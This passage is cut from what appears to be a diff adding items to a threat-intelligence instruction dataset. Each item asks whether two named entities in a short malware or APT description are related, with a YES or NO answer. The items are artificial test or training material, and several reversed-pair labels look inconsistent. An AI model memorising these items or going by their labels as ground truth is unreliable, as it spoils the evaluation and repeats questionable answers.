initial network access by exploiting vulnerable software like Citrix, Remote Desktop Web (RDWeb), or remote desktop protocol (RDP), performing lateral movement, and exfiltrating sensitive data before ultimately deploying ransomware. For initial access to networks, actors usually purchased access credentials on underground forums, conducted brute-force attacks, used spam campaigns to spread malware loaders and/or bought access to popular botnets such as Dridex, TrickBot and ZLoader. As for post-exploitation tools, the arsenal usually included Cobalt Strike and Metasploit frameworks, Mimikatz and BloodHound.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKGH_SPY\n### Target Entity: C2\n### Text Passage:\nKGH_SPY can exfiltrate collected information from the host to the C2 server.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCaddyWiper\n### Target Entity: Ukraine\n### Text Passage:\nCaddyWiper is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPyDCrypt\n### Target Entity: Python\n### Text Passage:\nPyDCrypt is malware written in Python designed to deliver DCSrv. It has been used by Moses Staff since at least September 2021, with each sample tailored for its intended victim organization.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMoses Staff\n### Target Entity: PyDCrypt\n### Text Passage:\nPyDCrypt is malware written in Python designed to deliver DCSrv. It has been used by Moses Staff since at least September 2021, with each sample tailored for its intended victim organization.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPyDCrypt\n### Target Entity: Moses Staff\n### Text Passage:\nPyDCrypt is malware written in Python designed to deliver DCSrv. It has been used by Moses Staff since at least September 2021, with each sample tailored for its intended victim organization.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPOWERSOURCE\n### Target Entity: TEXTMATE\n### Text Passage:\nPOWERPOWERSOURCE has been observed being used to download TEXTMATE and the Cobalt Strike Beacon payload onto victims.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPOWERSOURCE\n### Target Entity: Cobalt Strike Beacon\n### Text Passage:\nPOWERPOWERSOURCE has been observed being used to download TEXTMATE and the Cobalt Strike Beacon payload onto victims.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLotus Blossom\n### Target Entity: Emissary\n### Text Passage:\nEmissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLStudio\n### Target Entity: Emissary\n### Text Passage:\nEmissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLStudio\n### Target Entity: Elise\n### Text Passage:\nEmissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGooligan\n### Target Entity: Android\n### Text Passage:\nGooligan is a malware family that runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal authentication tokens that can be used to access data from many Google applications. Gooligan has been described as part of the Ghost Push Android malware family.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroid\n### Target Entity: Google\n### Text Passage:\nGooligan is a malware family that runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal authentication tokens that can be used to access data from many Google applications. Gooligan has been described as part of the Ghost Push Android malware family.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMuddyWater\n### Target Entity: SHARPSTATS\n### Text Passage:\nSHARPSTATS is a .NET backdoor used by MuddyWater since at least 2019.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSHARPSTATS\n### Target Entity: .NET\n### Text Passage:\nSHARPSTATS is a .NET backdoor used by MuddyWater since at least 2019.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHancitor\n### Target Entity: VBA\n### Text Passage:\nHancitor has deleted files using the VBA kill function.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGreyEnergy\n### Target Entity: C\n### Text Passage:\nGreyEnergy is a backdoor written in C and compiled in Visual Studio. GreyEnergy shares similarities with the BlackEnergy malware and is thought to be the successor of it.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGreyEnergy\n### Target Entity: Visual Studio\n### Text Passage:\nGreyEnergy is a backdoor written in C and compiled in Visual Studio. GreyEnergy shares similarities with the BlackEnergy malware and is thought to be the successor of it.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackEnergy\n### Target Entity: GreyEnergy\n### Text Passage:\nGreyEnergy is a backdoor written in C and compiled in Visual Studio. GreyEnergy shares similarities with the BlackEnergy malware and is thought to be the successor of it.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKONNI\n### Target Entity: Windows\n### Text Passage:\nKONNI is a Windows remote administration too that has been seen in use since 2014 and evolved in its capabilities through at least 2017. KONNI has been linked to several campaigns involving North Korean themes.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKONNI\n### Target Entity: North Korean\n### Text Passage:\nKONNI is a Windows remote administration too that has been seen in use since 2014 and evolved in its capabilities through at least 2017. KONNI has been linked to several campaigns involving North Korean themes.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nT1087\n### Target Entity: Raccoon\n### Text Passage:\nT1562 Impair Defenses Disables Windows Defender features and log audits T1124 System Time Discovery One of Raccoon capabilities T1087 Account Discovery One of Raccoon capabilities\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRaccoon\n### Target Entity: T1562\n### Text Passage:\nT1562 Impair Defenses Disables Windows Defender features and log audits T1124 System Time Discovery One of Raccoon capabilities T1087 Account Discovery One of Raccoon capabilities\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRaccoon\n### Target Entity: T1124\n### Text Passage:\nT1562 Impair Defenses Disables Windows Defender features and log audits T1124 System Time Discovery One of Raccoon capabilities T1087 Account Discovery One of Raccoon capabilities\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWindows\n### Target Entity: Raccoon\n### Text Passage:\nT1562 Impair Defenses Disables Windows Defender features and log audits T1124 System Time Discovery One of Raccoon capabilities T1087 Account Discovery One of Raccoon capabilities\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nACAD/Medre.A\n### Target Entity: AutoCAD\n### Text Passage:\nACAD/Medre.A is a worm that steals operational information. The worm collects AutoCAD files with drawings. ACAD/Medre.A has the capability to be used for industrial espionage.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nXcodeGhost\n### Target Entity: iOS\n### Text Passage:\nXcodeGhost is iOS malware that infected at least 39 iOS apps in 2015 and potentially affected millions of users.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWhitefly\n### Target Entity: Vcrodat\n### Text Passage:\nWhitefly has used search order hijacking to run the loader Vcrodat.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCARROTBALL\n### Target Entity: SYSCON\n### Text Passage:\nCARROTBALL is an FTP downloader utility that has been in use since at least 2019. CARROTBALL has been used as a downloader to install SYSCON.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUPPERCUT\n### Target Entity: C2\n### Text Passage:\nUPPERCUT has used HTTP for C2, including sending error codes in Cookie headers.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMetamorfo\n### Target Entity: AutoIt\n### Text Passage:\nMetamorfo had used AutoIt to load and execute the DLL payload.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMirageFox\n### Target Entity: C2\n### Text Passage:\nMirageFox has a function for decrypting data containing C2 configuration information.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTDTESS\n### Target Entity: .NET\n### Text Passage:\nTDTESS is a 64-bit .NET binary backdoor used by CopyKittens. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCopyKittens\n### Target Entity: TDTESS\n### Text Passage:\nTDTESS is a 64-bit .NET binary backdoor used by CopyKittens. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTDTESS\n### Target Entity: CopyKittens\n### Text Passage:\nTDTESS is a 64-bit .NET binary backdoor used by CopyKittens. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCharger\n### Target Entity: Android\n### Text Passage:\nCharger is Android malware that steals steals contacts and SMS messages from the user's device. It can also lock the device and demand ransom payment if it receives admin permissions.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nImpacket\n### Target Entity: John the Ripper\n### Text Passage:\nImpacket modules like GetUserSPNs can be used to get Service Principal Names (SPNs) for user accounts. The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nImpacket\n### Target Entity: Hashcat\n### Text Passage:\nImpacket modules like GetUserSPNs can be used to get Service Principal Names (SPNs) for user accounts. The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n2015 Ukraine Electric Power Attack\n### Target Entity: Sandworm Team\n### Text Passage:\n2015 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used BlackEnergy (specifically BlackEnergy3) and KillDisk to target and disrupt transmission and distribution substations within the Ukrainian power grid. This campaign was the first major public attack conducted against the Ukrainian power grid by Sandworm Team.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSandworm Team\n### Target Entity: BlackEnergy\n### Text Passage:\n2015 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used BlackEnergy (specifically BlackEnergy3) and KillDisk to target and disrupt transmission and distribution substations within the Ukrainian power grid. This campaign was the first major public attack conducted against the Ukrainian power grid by Sandworm Team.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSandworm Team\n### Target Entity: BlackEnergy3\n### Text Passage:\n2015 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used BlackEnergy (specifically BlackEnergy3) and KillDisk to target and disrupt transmission and distribution substations within the Ukrainian power grid. This campaign was the first major public attack conducted against the Ukrainian power grid by Sandworm Team.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSandworm Team\n### Target Entity: KillDisk\n### Text Passage:\n2015 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used BlackEnergy (specifically BlackEnergy3) and KillDisk to target and disrupt transmission and distribution substations within the Ukrainian power grid. This campaign was the first major public attack conducted against the Ukrainian power grid by Sandworm Team.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackEnergy\n### Target Entity: Ukrainian\n### Text Passage:\n2015 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used BlackEnergy (specifically BlackEnergy3) and KillDisk to target and disrupt transmission and distribution substations within the Ukrainian power grid. This campaign was the first major public attack conducted against the Ukrainian power grid by Sandworm Team.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackEnergy3\n### Target Entity: Ukrainian\n### Text Passage:\n2015 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used BlackEnergy (specifically BlackEnergy3) and KillDisk to target and disrupt transmission and distribution substations within the Ukrainian power grid. This campaign was the first major public attack conducted against the Ukrainian power grid by Sandworm Team.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKillDisk\n### Target Entity: Ukrainian\n### Text Passage:\n2015 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used BlackEnergy (specifically BlackEnergy3) and KillDisk to target and disrupt transmission and distribution substations within the Ukrainian power grid. This campaign was the first major public attack conducted against the Ukrainian power grid by Sandworm Team.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUkrainian\n### Target Entity: BlackEnergy3\n### Text Passage:\n2015 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used BlackEnergy (specifically BlackEnergy3) and KillDisk to target and disrupt transmission and distribution substations within the Ukrainian power grid. This campaign was the first major public attack conducted against the Ukrainian power grid by Sandworm Team.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT5\n### Target Entity: SLOWPULSE\n### Text Passage:\nSLOWPULSE is a malware that was used by APT5 as early as 2020 including against U.S. Defense Industrial Base (DIB) companies. SLOWPULSE has several variants and can modify legitimate Pulse Secure VPN files in order to log credentials and bypass single and two-factor authentication flows.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSLOWPULSE\n### Target Entity: U.S. Defense Industrial Base\n### Text Passage:\nSLOWPULSE is a malware that was used by APT5 as early as 2020 including against U.S. Defense Industrial Base (DIB) companies. SLOWPULSE has several variants and can modify legitimate Pulse Secure VPN files in order to log credentials and bypass single and two-factor authentication flows.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSLOWPULSE\n### Target Entity: Pulse Secure VPN\n### Text Passage:\nSLOWPULSE is a malware that was used by APT5 as early as 2020 including against U.S. Defense Industrial Base (DIB) companies. SLOWPULSE has several variants and can modify legitimate Pulse Secure VPN files in order to log credentials and bypass single and two-factor authentication flows.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMuddyWater\n### Target Entity: Small Sieve\n### Text Passage:\nSmall Sieve is a Telegram Bot API-based Python backdoor that has been distributed using a Nullsoft Scriptable Install System (NSIS) Installer; it has been used by MuddyWater since at least January 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSmall Sieve\n### Target Entity: Python\n### Text Passage:\nSmall Sieve is a Telegram Bot API-based Python backdoor that has been distributed using a Nullsoft Scriptable Install System (NSIS) Installer; it has been used by MuddyWater since at least January 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT37\n### Target Entity: HAPPYWORK\n### Text Passage:\nHAPPYWORK is a downloader used by APT37 to target South Korean government and financial victims in November 2016. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHAPPYWORK\n### Target Entity: South Korean\n### Text Passage:\nHAPPYWORK is a downloader used by APT37 to target South Korean government and financial victims in November 2016. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHAPPYWORK\n### Target Entity: South Korean government\n### Text Passage:\nHAPPYWORK is a downloader used by APT37 to target South Korean government and financial victims in November 2016. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSouth Korean\n### Target Entity: APT37\n### Text Passage:\nHAPPYWORK is a downloader used by APT37 to target South Korean government and financial victims in November 2016. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTRITON\n### Target Entity: TsLow\n### Text Passage:\nTRITON\u2019s TsLow python module pings controllers over the TriStation protocol.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTsLow\n### Target Entity: TriStation\n### Text Passage:\nTRITON\u2019s TsLow python module pings controllers over the TriStation protocol.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTurla\n### Target Entity: IronNetInjector\n### Text Passage:\nIronNetInjector is a Turla toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including ComRAT.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIronNetInjector\n### Target Entity: IronPython\n### Text Passage:\nIronNetInjector is a Turla toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including ComRAT.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIronNetInjector\n### Target Entity: Python\n### Text Passage:\nIronNetInjector is a Turla toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including ComRAT.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIronNetInjector\n### Target Entity: .NET\n### Text Passage:\nIronNetInjector is a Turla toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including ComRAT.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible 